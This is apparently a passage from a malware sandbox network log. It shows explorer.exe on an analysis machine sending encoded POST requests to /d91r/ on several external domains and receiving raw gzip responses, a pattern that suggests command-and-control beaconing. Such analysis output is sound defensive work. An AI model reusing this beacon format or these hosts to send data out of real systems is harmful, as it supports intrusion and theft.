65 78 bb dd 96 97 b2 51 6b 55 de cb 3a 4b 61 da c9 e2 ab f4 2c 2e f3 22 e2 85 62 fd 8c 45 8e 2e e2 b2 7b de 7c f4 36 2d 92 d3 fc eb e1 3f 1f fd 73 70 d4 fc 67 6f e1 9f 11 ff b4 1e b5 56 d3 f9 f9 66 d6 59 48 0f 97 8f 5a a3 f0 d9 d3 67 2b 0f 7c f9 e3 b1 7e fa 2c fc 50 ea c5 55 b8 f1 54 2f 7a e1 e6 7b bd b8 09 77 3f ea c5 97 b0 ff 56 2f 7e 08 7f 1b ea c5 56 b8 79 a6 17 97 e1 c6 af 7a 71 1a be db d2 8b eb 70 f0 49 2f de 57 93 ba 1d 31 dd a2 99 b5 42 99 75 16 de c6 32 27 6d b4 1e ea cc f4 7a 3f bc 4a 8a 01 0b ab bf be da d7 d3 4e d1 7c f6 fc e5 f3 56 98 73 f5 72 e9 65 2b 8c b9 78 f1 6c 79 a9 b5 da ed c7 83 41 63 00 c0 64 2c ec b0 cb a2 c9 7a b7 6e cb e2 e6 36 3d 6d ce 25 77 77 41 7e f2 39 61 c9 e7 3a 02 97 f9 69 23 69 15 49 39 2c b2 e6 52 18 47 ff 68 35 83 9d e4 ba 01 16 94 69 76 d6 88 1b 1b 0a 1d c3 42 40 af 51 08 f4 17 c9 a0 11 67 0d d3 4f 23 1e 34 d2 ec 72 58 06 2c 3a 5f 28 67 7c a1 9c fc c2 fe 43 bd 37 2e f2 5e d2 6f 94 b9 0c a4 91 96 f2 8d b4 4c e3 7e e3 b2 c8 2f 93 a2 04 1d f8 e0 ae 4e 25 62 d2 e9 59 d6 2c cf d3 01 93 0d ed 5d d6 b4 a0 59 33 69 45 a7 79 b1 15 03 30 cd 04 b8 eb 27 e5 21 f0 78 d4 49 56 75 9d 00 33 a6 9e 47 bf b7 9a 65 6b 35 8b fa 49 76 56 9e cf cf 17 f3 f3 6e ad 3a 6e ad b8 97 8d f7 96 30 b2 06 b7 9b 6e f9 fe 1a fc 35 a2 5f 70 82 a5 ff 6b d0 48 59 2c 19 75 c9 a2 27 bd 46 5c 32 aa 93 61 99 b0 84 bd 46 97 75 cc f2 b2 71 92 08 ed c9 ce 68 40 77 a7 49 cc 86 24 8d bf b6 5c 4f 65 18 44 8d c6 76 d9 b8 4e fb fd c6 79 7c 95 f0 5a 23 39 3d a5 d3 28 68 b5 42 56 2b a1 cf e2 30 01 de f9 2d 6b 71 58 1e 75 0a 7e 8c 18 0b 93 4f 5a b7 6e 8c c1 7a d6 48 8a 22 2f 1a 79 b7 cb 97 7a 8d eb f3 94 ed 9d bd eb 41 98 b4 46 a3 91 59 ac 6e e7 f6 24 89 b9 6e a7 51 37 89 cc 75 a8 9d bd f1 ee 7b 37 7c da 71 95 a7 bd 06 70 36 46 35 ec cd 41 dc b6 57 bf 0f 93 61 72 90 5e 24 ee 86 d7 de bf 5d 96 ef 86 90 2c fb 96 50 07 77 1d 77 bb f9 10 9c b2 8f 58 fe 1e d8 e0 7e 42 89 8b ea 63 9f 07 eb 6e 4b 06 ed db 51 a8 44 a6 be 63 7b 60 db 06 ee 75 5e ce 06 71 57 68 de 4e 5c 0f b2 94 1f 1f fb 71 9a d9 86 f4 05 39 5f 3d 1d 66 da b6 d1 93 2d 50 2c Data Ascii: 1B8EkSH?XE(@&KdM dR(1#[j}v?<U;d}>>n5y%8;I:OI7q1HN~\|^\|]2.~4yV&nouY~5e(o.NP&_G^7_G;{[>5ovjEi"7nIq\|>d^A>N(+{qGYRG7>^R3s2O_]s`1i7v{I"^GAmoO-\|"6h$aKM!O i"jexQkU:Ka,."bE.{\|6-?spgoVfYHZg+\|~,PUT/z{w?V/~VyzqpI/W1Bu2'mz?JN\|Vsre+xlyAcd,zn6=m%wwA~9a:i#iI9,RGh5ivB@QgO#4rX,:_(g\|C7.^oL~/N%bY,]Y3iEy0'!xIVu3Gek5IvVn:n0n5_pkHY,u'F\2aFuqh@wI$\OeDvNy\|Z#9=(hBV+0-kqXu~OZnzH"/yzAFYn$nQ7u{7\|qp6F5AWar^$],PwwX~BcnKQDc{`u^qWhN\q9_=f-P,
Mar 20, 2023 15:24:41.045335054 CET	1467	IN	Data Raw: 6c 95 e7 45 7e dd c8 40 b4 2d d9 86 66 b0 ce b6 a6 d9 69 6e b1 6a e0 30 4d 10 4d c9 43 23 85 d0 97 e9 69 9a 14 73 16 d5 86 b2 d9 53 3d 6d 4b 2f 00 7c 23 70 c0 93 84 41 e3 1a 34 cd 12 08 8a ec 31 00 b3 6a 70 be 21 7d 8c aa 11 9e 1a 6a f1 6f 1a a3 Data Ascii: lE~@-finj0MMC#isS=mK/\|#pA41jp!}jo9 VO7->"@&Bm']p5i-rigw1I^_%R@f?+A{{0Kck\/_a/9fE;qn^KitI8/4sG`worHu
Mar 20, 2023 15:24:41.045402050 CET	1468	IN	Data Raw: 28 63 11 eb 85 7b ba 61 5d 6f c3 1e 3f 7f ba 22 42 5b d1 7c be b4 c2 95 58 a9 9e 2c 3d 79 6a cc 54 2b 8f 57 9e 3a f0 18 8c 91 82 ae 41 31 03 39 18 0b 07 25 7b dd 13 22 0a 01 83 0e 96 37 ed 38 ba 64 ae 77 77 4b a3 d5 21 40 19 0e 40 13 61 07 2c cc Data Ascii: (c{a]o?"B[\|X,=yjT+W:A19%{"78dwwK!@@a,joMcd?xKV!yN\/ fkz4?o8cph$e<e#H1ujbXf,&~dVn(aD'ylDI(Qn;ba\|d,Etb\|ldA
Mar 20, 2023 15:24:41.045464993 CET	1470	IN	Data Raw: 27 64 fa c5 b4 f8 b7 32 53 fc 5b 39 42 9c 72 52 a6 30 6c 6b b5 98 9a a7 40 43 0c 5f f2 00 c2 8a c9 ff bb ef f5 f2 ae 8a b8 d3 2b 5b 7f 71 14 8a 95 e7 01 00 f9 c1 78 ad e3 f0 83 82 45 1e ee f5 0d e2 86 5f 6e f4 62 30 05 28 d5 d2 a7 ec b7 90 57 00 Data Ascii: 'd2S[9BrR0lk@C_+[qxE_nb0(WXu%X>^_e8!.jap^~>yBQ1[[?}l?q)OiVPxOR\|F@UlpzQk\|'Mv&vp#xu
Mar 20, 2023 15:24:41.045527935 CET	1471	IN	Data Raw: ca 47 87 0e 3a d8 bd ce 3e 9a e0 c9 9b 9a 2f 5b b5 59 71 37 8b ba 84 24 e9 c4 1d 02 23 59 c3 0d 90 d2 85 cb 2b e1 b5 3d f7 92 d3 34 4b 5c 7f f3 f3 9e cf a2 25 48 66 f7 6a 66 6b f9 82 e3 1a 69 78 8d 6d 5f 1d 8f e8 7c 49 86 5e a2 91 a6 12 1e 04 43 Data Ascii: G:>/[Yq7$#Y+=4K\%Hfjfkixm_\|I^Ct6Nu9^l95I;3)6]Y3079[#a"zuH0oK^\|Iwj:?uE}iBKI`1BAl,0ycs2zM&UoH
Mar 20, 2023 15:24:41.045589924 CET	1472	IN	Data Raw: de 3a d8 fe 60 9b f4 c3 ad 1d 23 94 0e e1 3c eb 07 9f f6 b6 8e 77 d6 3f 98 c6 69 f8 76 e7 d8 3d 3f 95 1f fb 07 eb 7b 07 ba cd bd 70 77 6f fb 9d f9 aa de 38 0b 3f 7e da ff 41 5a 1c 98 b7 cf 61 89 de 97 07 d5 cf 63 3e bf bd f3 ee f8 cd a7 b7 6f b7 Data Ascii: :`#<w?iv=?{pwo8?~AZac>o~zoL~yXw4-~hVo@\|Xtq=R8;{k,`QY"4D0w!H $@Y@H6~/;Z~Z[133[e1?53g/tjtx)
Mar 20, 2023 15:24:41.045660973 CET	1473	IN	Data Raw: 31 43 34 38 0d 0a 30 84 4c 6d 7b fb b2 06 56 12 3f 40 3d db ea 1c eb 16 87 07 7a 71 9a 93 cd 74 4c da 87 57 a6 21 dc ef 1c 83 bb ea d9 69 1e 8c 11 42 a5 80 e3 b7 48 4a 31 46 45 b2 69 d1 e7 94 58 6d 68 34 df 81 fd b5 79 26 1e ac 2d 51 61 ec 9d 77 Data Ascii: 1C480Lm{V?@=zqtLW!iBHJ1FEiXmh4y&-Qaw[rg3$wzJ:\|c^O=yox#Zd\|VE'<;(4^AxY:U)QB0UY5&B[ @_6(]&%2@$O9;Ue<5
Mar 20, 2023 15:24:41.045725107 CET	1474	IN	Data Raw: 74 b5 95 4b c6 86 44 39 13 9b 67 e1 03 77 b4 28 3c 7e 0c 96 82 bd 08 28 44 38 81 82 ab 88 10 86 4c 13 4e e4 24 c7 06 f9 37 68 88 0c 5c 05 9f 5c 5b 76 6e ed 3d 3f 4b a8 a0 0b 52 c8 f0 ad 98 f6 36 89 c2 fc 18 51 7d 01 23 50 1a 65 92 20 7f 6b 3e 0a Data Ascii: tKD9gw(<~(D8LN$7h\\[vn=?KR6Q}#Pe k>!JdjK}R$e.rSS-s`ob8]kVr){nb4\<)PSHQ_hO"nHB^\|wZxE)dKR;6/bg,?y^'x=
Mar 20, 2023 15:24:41.045787096 CET	1476	IN	Data Raw: f8 d9 e5 91 a8 84 69 45 ce 7a d8 0a a0 99 10 5f a7 73 a9 5c 66 4d 38 73 92 06 8e e2 57 46 1f c8 92 28 c2 c0 af 44 19 d9 ba 85 58 2e 46 3c 23 f0 8d 69 67 ea 84 20 1b 85 e1 8a 03 94 5c 14 53 da b6 2b 17 ea df 1a ca 43 f5 65 f5 b8 32 a9 47 a7 5c 49 Data Ascii: iEz_s\fM8sWF(DX.F<#ig \S+Ce2G\IxR:Jt]zK^40}@[\ujMEfasu0$IGq^gT4NfZh-h7g-.^^`lB"zS:v8$JJ8zB"9:S u8
Mar 20, 2023 15:24:41.045850992 CET	1477	IN	Data Raw: 99 38 31 6a 6a f4 d1 cb 99 f9 38 b6 16 a5 8a 59 9f a1 ba a6 04 d9 06 57 5a 74 56 e9 f2 76 b8 23 4f 24 15 9c 7a a2 08 f4 9a 32 fe 45 ee 11 9e db 0a df 8b 4d fd 07 8f 4e 92 8a 30 51 a1 d4 64 69 0f ce f3 6b 58 b9 9b 2d 8b 7a 4b ce a9 14 fd a5 54 17 Data Ascii: 81jj8YWZtVv#O$z2EMN0QdikX-zKT!Thbb!ZR4JS03.^yX~A<?t_4]-_Sd3o#g6ugiRflEdH _}h^/Qp6Sd;
Mar 20, 2023 15:24:41.177112103 CET	1479	IN	Data Raw: 0a b5 fe 65 0c 64 8d 34 7f b8 b2 b4 14 3e 5d a2 48 f4 5f ac 83 08 c3 40 e7 4d 33 d8 de f9 48 c0 40 3e 46 df bf 97 7d 96 a2 41 4b a6 0f 46 e5 45 73 ca 9f 18 22 95 8a 5b 0d 66 4e 88 a8 b8 e2 aa a1 7a da 7c 45 ee ef 6d 52 d3 6b 91 ee 2b e2 2d 9a 8c Data Ascii: ed4>]H_@M3H@>F}AKFEs"[fNz\|EmRk+-#yRz*ul\JJ!z2Gd>A2SdH>%X,3yt:SzR'b:?)f>dD:b;"Np~uX@%oD%0M&f

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.11.20	49848	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:19:48.485552073 CET	579	OUT	POST /d91r/ HTTP/1.1 Host: www.flaviosilva.online Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.flaviosilva.online User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.flaviosilva.online/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 30 73 73 72 59 30 49 6e 36 47 34 44 75 54 62 55 61 4c 61 42 78 4c 72 66 37 47 61 70 6b 4c 69 30 4e 75 68 49 50 57 38 71 43 6b 65 74 79 45 71 51 75 31 32 37 7e 55 32 62 56 57 36 45 66 49 51 75 70 79 39 33 41 67 69 70 77 5a 39 6f 36 47 57 64 4b 38 59 31 71 42 38 67 4c 6f 42 67 4c 31 30 78 71 41 6d 59 75 66 4c 49 4e 68 49 30 47 46 79 55 6d 47 53 73 4a 68 7a 70 4e 37 4d 6e 70 4f 59 44 76 62 54 63 38 74 4c 48 30 52 57 4e 46 79 31 77 62 4c 51 4b 30 63 38 4e 6f 58 6d 46 7e 49 4d 79 32 67 4c 48 38 47 70 35 45 53 79 64 6b 50 68 5f 4c 67 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=0ssrY0In6G4DuTbUaLaBxLrf7GapkLi0NuhIPW8qCketyEqQu127~U2bVW6EfIQupy93AgipwZ9o6GWdK8Y1qB8gLoBgL10xqAmYufLINhI0GFyUmGSsJhzpN7MnpOYDvbTc8tLH0RWNFy1wbLQK0c8NoXmF~IMy2gLH8Gp5ESydkPh_Lg).
Mar 20, 2023 15:19:48.514266014 CET	579	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 20 Mar 2023 14:19:48 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.11.20	49917	45.56.79.23	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:24:43.566442966 CET	1489	OUT	POST /d91r/ HTTP/1.1 Host: www.cardinialethanol.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.cardinialethanol.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cardinialethanol.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 38 48 4c 51 72 42 73 6a 77 64 65 56 55 66 48 79 28 6d 4f 4f 43 6e 79 6c 45 4a 76 52 4a 4b 75 31 6b 59 37 32 72 76 35 37 69 69 56 61 74 37 66 34 45 64 68 5f 7e 36 4a 6c 45 6c 62 42 6c 41 6b 68 56 32 63 34 64 52 7e 6a 74 4f 41 30 4a 44 6f 45 64 6e 45 69 5a 62 30 6f 65 6f 65 50 5a 51 54 2d 54 6d 5a 74 72 2d 36 75 34 53 44 5a 6b 49 59 6d 56 6f 7a 57 4e 75 68 77 36 77 6a 31 4c 59 6a 6f 78 4b 5a 55 55 62 57 59 59 66 38 72 45 4c 4f 43 42 33 74 65 44 74 50 42 47 63 7e 30 7a 65 77 76 42 65 43 78 73 38 45 4c 69 6f 69 68 30 6a 57 2d 45 70 76 65 77 65 66 57 54 61 68 4a 54 56 69 58 73 51 58 39 4c 78 49 57 77 57 78 49 44 43 4a 74 42 62 6f 62 4c 6a 66 58 5a 76 30 6c 52 6c 48 4d 4a 4d 28 42 59 6c 4d 38 6a 78 7e 33 73 71 77 48 33 37 64 75 67 6e 57 43 65 53 36 58 47 2d 74 79 45 33 33 4a 64 7a 42 4c 4b 47 4d 4b 59 6b 47 76 64 45 6c 58 73 67 77 5f 49 32 65 4c 55 74 74 4d 62 76 63 39 73 6f 64 51 78 6b 54 5a 45 6a 37 31 6e 38 30 78 41 6d 46 7a 45 6e 53 59 36 36 33 47 31 53 79 4b 4c 4d 4c 53 31 63 61 49 6e 43 77 76 35 44 77 6b 32 76 35 6f 6d 5a 6e 30 51 43 51 68 70 4d 49 67 7a 42 41 79 33 5a 47 7a 43 6b 33 59 55 73 5a 6d 34 77 42 54 52 31 70 59 37 7a 41 6a 70 76 63 35 59 71 6a 43 78 48 6c 6b 6b 5a 39 45 46 2d 52 62 32 67 54 66 6f 6e 65 53 28 44 46 58 32 77 6e 4e 4a 55 4f 4d 78 5a 50 42 48 56 74 6d 4e 32 58 49 38 5a 32 50 30 77 34 74 62 44 72 30 51 6a 6e 71 6d 6f 62 7a 58 39 70 7a 33 59 41 65 58 58 45 47 67 58 6f 37 34 4d 49 48 79 61 59 36 73 49 73 68 34 43 34 50 7a 37 5a 50 37 66 6f 51 52 4b 76 71 45 67 6c 30 50 48 31 65 31 79 34 6c 42 7a 42 30 43 47 77 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=8HLQrBsjwdeVUfHy(mOOCnylEJvRJKu1kY72rv57iiVat7f4Edh_~6JlElbBlAkhV2c4dR~jtOA0JDoEdnEiZb0oeoePZQT-TmZtr-6u4SDZkIYmVozWNuhw6wj1LYjoxKZUUbWYYf8rELOCB3teDtPBGc~0zewvBeCxs8ELioih0jW-EpvewefWTahJTViXsQX9LxIWwWxIDCJtBbobLjfXZv0lRlHMJM(BYlM8jx~3sqwH37dugnWCeS6XG-tyE33JdzBLKGMKYkGvdElXsgw_I2eLUttMbvc9sodQxkTZEj71n80xAmFzEnSY663G1SyKLMLS1caInCwv5Dwk2v5omZn0QCQhpMIgzBAy3ZGzCk3YUsZm4wBTR1pY7zAjpvc5YqjCxHlkkZ9EF-Rb2gTfoneS(DFX2wnNJUOMxZPBHVtmN2XI8Z2P0w4tbDr0QjnqmobzX9pz3YAeXXEGgXo74MIHyaY6sIsh4C4Pz7ZP7foQRKvqEgl0PH1e1y4lBzB0CGw.
Mar 20, 2023 15:24:43.707235098 CET	1490	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Mon, 20 Mar 2023 14:24:43 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 33 37 44 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 9d 6b 53 db 48 da b0 bf 3f bf c2 a8 b6 58 fb 45 28 40 ce 26 0e 4b 80 64 98 4d 20 03 64 0e cb 52 94 b0 05 28 31 12 23 cb 10 06 fc df df eb be bb 5b 6a 1f 08 99 7d 76 3f 3c 55 3b b5 1b 64 a9 d5 ea c3 7d 3e f5 ab b9 cd dd 8d 83 df 3e 6e 35 ce cb 8b fe eb ff 79 25 7f 1a fd 38 3b eb 04 49 16 bc fe 9f 06 ff bd 3a 4f e2 9e b9 d4 9f 17 49 19 37 ba e7 71 31 48 ca 4e f0 e9 e0 ed e2 0b db b2 7e 7c 5e 96 97 8b c9 ef c3 f4 aa 13 7c 5d 1c c6 8b dd fc e2 32 2e d3 93 7e 12 34 ba 79 56 26 19 ef 6e 6f 75 92 de 59 12 bc 7e 35 e8 16 e9 65 d9 28 6f 2e 93 4e 50 26 5f cb 47 9f e3 ab d8 dc 0d 5e 37 af d3 ac 97 5f 47 3b 7b 5b 9f 3e dc dd 35 f5 6f e7 76 d4 6a 45 69 96 96 9d db cb 22 bd 8a bb 37 ed db 6e 9e 7f 49 93 c1 71 92 c5 7c aa d7 3e 8d fb 83 64 14 c6 9f e3 af ed db 5e 92 dd 1c f7 d3 41 d9 3e 0c 4e e2 8b 28 2b 16 7b 71 19 47 59 52 06 47 a3 d1 ea 37 3e d3 cf e3 5e 52 1c 33 f2 d3 f4 ac 73 fb f5 32 ed b5 83 4f d7 bf bd fd f4 f6 e7 5f de 5d af bf f9 f4 73 ef 60 f3 ac fb 31 08 fb 69 37 c9 06 c9 df 93 9b 76 b0 d4 7b fc e2 e9 49 fc 22 5e 0a c2 f8 f2 92 47 ac 41 9e 6d 6f b6 83 c7 cb 4f 9f 2d bf 7c f6 22 18 ad ae 36 9b ad ce eb db ab b8 68 24 61 19 16 9d db 97 4b cf 97 db 4d fd 21 4f 82 e1 20 69 0c ca 22 ed 96 c1 6a 11 f5 9a 65 78 bb dd 96 97 b2 51 6b 55 de cb 3a 4b 61 da c9 e2 ab f4 2c 2e f3 22 e2 85 62 fd 8c 45 8e 2e e2 b2 7b de 7c f4 36 2d 92 d3 fc eb e1 3f 1f fd 73 70 d4 fc 67 6f e1 9f 11 ff b4 1e b5 56 d3 f9 f9 66 d6 59 48 0f 97 8f 5a a3 f0 d9 d3 67 2b 0f 7c f9 e3 b1 7e fa 2c fc 50 ea c5 55 b8 f1 54 2f 7a e1 e6 7b bd b8 09 77 3f ea c5 97 b0 ff 56 2f 7e 08 7f 1b ea c5 56 b8 79 a6 17 97 e1 c6 af 7a 71 1a be db d2 8b eb 70 f0 49 2f de 57 93 ba 1d 31 dd a2 99 b5 42 99 75 16 de c6 32 27 6d b4 1e ea cc f4 7a 3f bc 4a 8a 01 0b ab bf be da d7 d3 4e d1 7c f6 fc e5 f3 56 98 73 f5 72 e9 65 2b 8c b9 78 f1 6c 79 a9 b5 da ed c7 83 41 63 00 c0 64 2c ec b0 cb a2 c9 7a b7 6e cb e2 e6 36 3d 6d ce 25 77 77 41 7e f2 39 61 c9 e7 3a 02 97 f9 69 23 69 15 49 39 2c b2 e6 52 18 47 ff 68 35 83 9d e4 ba 01 16 94 69 76 d6 88 1b 1b 0a 1d c3 42 40 af 51 08 f4 17 c9 a0 11 67 0d d3 4f 23 1e 34 d2 ec 72 58 06 2c 3a 5f 28 67 7c a1 9c fc c2 fe 43 bd 37 2e f2 5e d2 6f 94 b9 0c a4 91 96 f2 8d b4 4c e3 7e e3 b2 c8 2f 93 a2 04 1d f8 e0 ae 4e 25 62 d2 e9 59 d6 2c cf d3 01 93 0d ed 5d d6 b4 a0 59 33 69 45 a7 79 b1 15 03 30 cd 04 b8 eb 27 e5 21 f0 78 d4 49 56 75 9d 00 33 a6 9e 47 bf b7 9a 65 6b 35 8b fa 49 76 56 9e cf cf 17 f3 f3 6e ad 3a 6e ad b8 97 8d f7 96 30 b2 06 b7 9b 6e f9 fe 1a fc 35 a2 5f 70 82 a5 ff 6b d0 48 59 2c 19 75 c9 a2 27 bd 46 5c 32 aa 93 61 99 b0 84 bd 46 97 75 cc f2 b2 71 92 08 ed c9 ce 68 40 77 a7 49 cc 86 24 8d bf b6 5c 4f 65 18 44 8d c6 76 d9 b8 4e fb fd c6 79 7c 95 f0 5a 23 39 3d a5 d3 28 68 b5 42 56 2b a1 cf e2 30 01 de f9 2d 6b 71 58 1e 75 0a 7e 8c 18 0b 93 4f 5a b7 6e 8c c1 7a d6 48 8a 22 2f 1a 79 b7 cb 97 7a 8d eb f3 94 ed 9d bd eb 41 98 b4 46 a3 91 59 ac 6e e7 f6 24 89 b9 6e a7 51 37 89 cc 75 a8 9d bd f1 ee 7b 37 7c da 71 95 a7 bd 06 70 36 46 35 ec cd 41 dc b6 57 bf 0f 93 61 72 90 5e 24 ee 86 d7 de bf 5d 96 ef 86 90 2c fb 96 50 07 77 1d 77 bb f9 10 9c b2 8f 58 fe 1e d8 e0 7e 42 89 8b ea 63 9f 07 eb 6e 4b 06 ed db 51 a8 44 a6 be 63 7b 60 db 06 ee 75 5e ce 06 71 57 68 de 4e 5c 0f b2 94 1f 1f fb 71 9a d9 86 f4 05 39 5f 3d 1d 66 da b6 d1 93 2d 50 2c Data Ascii: 37D6kSH?XE(@&KdM dR(1#[j}v?<U;d}>>n5y%8;I:OI7q1HN~\|^\|]2.~4yV&nouY~5e(o.NP&_G^7_G;{[>5ovjEi"7nIq\|>d^A>N(+{qGYRG7>^R3s2O_]s`1i7v{I"^GAmoO-\|"6h$aKM!O i"jexQkU:Ka,."bE.{\|6-?spgoVfYHZg+\|~,PUT/z{w?V/~VyzqpI/W1Bu2'mz?JN\|Vsre+xlyAcd,zn6=m%wwA~9a:i#iI9,RGh5ivB@QgO#4rX,:_(g\|C7.^oL~/N%bY,]Y3iEy0'!xIVu3Gek5IvVn:n0n5_pkHY,u'F\2aFuqh@wI$\OeDvNy\|Z#9=(hBV+0-kqXu~OZnzH"/yzAFYn$nQ7u{7\|qp6F5AWar^$],PwwX~BcnKQDc{`u^qWhN\q9_=f-P,
Mar 20, 2023 15:24:43.707329035 CET	1491	IN	Data Raw: 6c 95 e7 45 7e dd c8 40 b4 2d d9 86 66 b0 ce b6 a6 d9 69 6e b1 6a e0 30 4d 10 4d c9 43 23 85 d0 97 e9 69 9a 14 73 16 d5 86 b2 d9 53 3d 6d 4b 2f 00 7c 23 70 c0 93 84 41 e3 1a 34 cd 12 08 8a ec 31 00 b3 6a 70 be 21 7d 8c aa 11 9e 1a 6a f1 6f 1a a3 Data Ascii: lE~@-finj0MMC#isS=mK/\|#pA41jp!}jo9 VO7->"@&Bm']p5i-rigw1I^_%R@f?+A{{0Kck\/_a/9fE;qn^KitI8/4sG`worHu
Mar 20, 2023 15:24:43.707405090 CET	1493	IN	Data Raw: 28 63 11 eb 85 7b ba 61 5d 6f c3 1e 3f 7f ba 22 42 5b d1 7c be b4 c2 95 58 a9 9e 2c 3d 79 6a cc 54 2b 8f 57 9e 3a f0 18 8c 91 82 ae 41 31 03 39 18 0b 07 25 7b dd 13 22 0a 01 83 0e 96 37 ed 38 ba 64 ae 77 77 4b a3 d5 21 40 19 0e 40 13 61 07 2c cc Data Ascii: (c{a]o?"B[\|X,=yjT+W:A19%{"78dwwK!@@a,joMcd?xKV!yN\/ fkz4?o8cph$e<e#H1ujbXf,&~dVn(aD'ylDI(Qn;ba\|d,Etb\|ldA
Mar 20, 2023 15:24:43.707477093 CET	1494	IN	Data Raw: 27 64 fa c5 b4 f8 b7 32 53 fc 5b 39 42 9c 72 52 a6 30 6c 6b b5 98 9a a7 40 43 0c 5f f2 00 c2 8a c9 ff bb ef f5 f2 ae 8a b8 d3 2b 5b 7f 71 14 8a 95 e7 01 00 f9 c1 78 ad e3 f0 83 82 45 1e ee f5 0d e2 86 5f 6e f4 62 30 05 28 d5 d2 a7 ec b7 90 57 00 Data Ascii: 'd2S[9BrR0lk@C_+[qxE_nb0(WXu%X>^_e8!.jap^~>yBQ1[[?}l?q)OiVPxOR\|F@UlpzQk\|'Mv&vp#xu
Mar 20, 2023 15:24:43.707535982 CET	1495	IN	Data Raw: ca 47 87 0e 3a d8 bd ce 3e 9a e0 c9 9b 9a 2f 5b b5 59 71 37 8b ba 84 24 e9 c4 1d 02 23 59 c3 0d 90 d2 85 cb 2b e1 b5 3d f7 92 d3 34 4b 5c 7f f3 f3 9e cf a2 25 48 66 f7 6a 66 6b f9 82 e3 1a 69 78 8d 6d 5f 1d 8f e8 7c 49 86 5e a2 91 a6 12 1e 04 43 Data Ascii: G:>/[Yq7$#Y+=4K\%Hfjfkixm_\|I^Ct6Nu9^l95I;3)6]Y3079[#a"zuH0oK^\|Iwj:?uE}iBKI`1BAl,0ycs2zM&UoH
Mar 20, 2023 15:24:43.707591057 CET	1497	IN	Data Raw: de 3a d8 fe 60 9b f4 c3 ad 1d 23 94 0e e1 3c eb 07 9f f6 b6 8e 77 d6 3f 98 c6 69 f8 76 e7 d8 3d 3f 95 1f fb 07 eb 7b 07 ba cd bd 70 77 6f fb 9d f9 aa de 38 0b 3f 7e da ff 41 5a 1c 98 b7 cf 61 89 de 97 07 d5 cf 63 3e bf bd f3 ee f8 cd a7 b7 6f b7 Data Ascii: :`#<w?iv=?{pwo8?~AZac>o~zoL~yXw4-~hVo@\|Xtq=R8;{k,`QY"4D0w!H $@Y@H6~/;Z~Z[133[e1?53g/tjtx)
Mar 20, 2023 15:24:43.707659960 CET	1498	IN	Data Raw: 3a 09 8d 18 87 42 52 07 60 93 ca 6c d9 d4 36 f1 95 7c 19 0b 56 4a 10 5f ff e6 d6 ef 4f 24 6d 6f 9c d2 52 e4 a1 1a cf d7 21 1c 12 b6 09 31 99 36 0c 99 3b 6e 15 2f a3 af fb e1 61 b0 fe 71 5b e0 7c 21 78 24 de 2a c4 8f 23 6b 54 d4 85 74 5a a8 49 26 Data Ascii: :BR`l6\|VJ_O$moR!16;n/aq[\|!x$#kTtZI&O$^#bMZFfz(AzIyInf>}r=z(-6r1h F@=}M3;Fzf&m/`FOiLnnd`rBp@XK4z}.
Mar 20, 2023 15:24:43.707719088 CET	1499	IN	Data Raw: d8 1d 43 cd bc ca 2a 1b d6 fe 34 e0 d6 86 31 0e de dc 1c c4 67 62 0a 43 1f ec 4a 41 49 46 dd 23 2e a4 f7 6a e8 f2 0b 7a 44 cf 2b 12 9e 76 86 87 3d c5 fc 53 d1 b6 2b d1 8f 57 8b 6e d0 22 94 ee ee 6e f2 89 84 5b 2e 5e 27 27 97 a4 fa 4a 93 72 81 9c Data Ascii: C41gbCJAIF#.jzD+v=S+Wn"n[.^''Jr$1_F#\|s4&"-cDHyqwW$5%7ry<$wB4)wth2@+ejA4<7VD6Oq(;Dx_I^^zC`B
Mar 20, 2023 15:24:43.707787037 CET	1501	IN	Data Raw: 71 48 d2 e1 86 91 4d 87 e3 ba 2b 76 75 11 97 84 b3 61 15 ee 03 a3 34 ab cc 56 89 67 aa 41 ec a2 95 19 68 02 c1 b9 77 ea 62 09 d3 85 9c 3d 18 92 8a ed 5a d9 c5 ad 12 f5 dc c8 46 a3 93 ce 81 38 b6 3c 48 17 ff 96 6c 59 f3 c6 23 96 36 94 da bb 23 01 Data Ascii: qHM+vua4VgAhwb=ZF8<HlY#6#06g$/DNFJ/DrXXqBa$R^X* [coe^}q{e0W0O+S$)L.7yU,VF6[ex=VvZ%
